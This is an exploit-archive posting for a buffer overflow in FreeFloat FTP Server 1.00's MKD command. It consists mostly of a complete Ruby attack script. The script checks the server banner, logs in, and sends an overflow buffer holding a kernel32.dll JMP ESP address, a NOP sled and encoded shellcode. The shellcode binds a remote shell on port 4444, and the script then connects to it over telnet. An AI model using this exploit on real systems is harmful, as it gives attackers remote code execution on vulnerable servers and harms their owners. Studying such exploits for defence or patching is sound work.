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FreeFloat FTP Server 1.00 MKD Buffer Overflow

FreeFloat FTP Server 1.00 MKD Buffer Overflow
Posted Jul 17, 2011
Authored by C4SS!0 G0M3S

FreeFloat FTP Server version 1.00 MKD buffer overflow exploit that spawns a shell on port 4444.

tags | exploit, overflow, shell
MD5 | 0d3d1b3c3faefbf66c956cc5b6910e2c

FreeFloat FTP Server 1.00 MKD Buffer Overflow

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#!/usr/bin/ruby
#
#[+]Exploit Title: FreeFloat FTP Server MKD Buffer Overflow Exploit
#[+]Date: 16\06\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
#[+]Version: 1.00
#[+]Tested On: Windows XP SP3 Brazilian
#[+]CVE: N/A
#
#

require 'socket'


def banner()
print """

=================================================================
=================================================================
==========FreeFloat FTP Server MKD Buffer Overflow Exploit=======
==========Autor C4SS!0 G0M3S=====================================
==========E-mail louredo_@hotmail.com============================
=================================================================
=================================================================

"""
end
def exploit(buf,ip,porta)
begin
s = TCPSocket.new(ip,porta.to_i)
s.recv(20000)
s.puts "USER test\r\n"
s.recv(2000)
s.puts "PASS test\r\n"
s.recv(2000)
s.puts "MKD #{buf}\r\n"
s.close
s = TCPSocket.new(ip,porta)
sleep(1)
s.close
rescue
print "\t\t[*]Error: #{$!}\n"
exit(0)
end
end
sys = `ver`
if sys=~/Windows/
system("cls")
system("color 4f")
system("title FreeFloat FTP Server MKD Buffer Overflow Exploit")
else
system("clear")
end
if not ARGV[1]
banner()
print "\t\t[-]Usage: ruby #{$0} <Host> <Port>\n"
print "\t\t[-]Exemple: ruby #{$0} 192.168.1.2 21\n"
exit(0)
end
banner()
host = ARGV[0]
porta = ARGV[1].to_i
print "\t\t[+]Connecting to Server "+host+"...\n\n"
sleep(1)
begin
sock = TCPSocket.new(host,porta)
print "\t\t[+]Checking if server is vulnerable\n\n"
sleep(1)
c = sock.recv(2000)
rescue
print "\t\t[*]Error:#{$!}\n"
exit(0)
end

unless c =~/FreeFloat Ftp Server \(Version 1\.00\)/
print "\t\t[+]Server Not Vulnerable:(\n"
sleep(1)
exit(0)
end
sock.close
print "\t\t[+]Server Vulnerable:)\n\n"
sleep(1)
print "\t\t[+]Running Buffer Overflow Attacks\n\n"
sleep(1)

shellcode =
"\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+#Shellcode Bing Shell LPORT=4444
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35"

buf = "\x41" * 247
buf += [0x7C874413].pack('V')#JMP ESP IN kernel32.dll
buf += "\x90" * 20#nopled
buf += shellcode


buf += "\x41" * (1000-buf.length)
exploit(buf,host,porta)
print "\t\t[+]Attack Buffer Overflow Successfully Executed\n\n"
sleep(1)
print "\t\t[+]Running telnet command: \"telnet #{host} 4444\"\n\n"
sleep(2)
system("telnet #{host} 4444")
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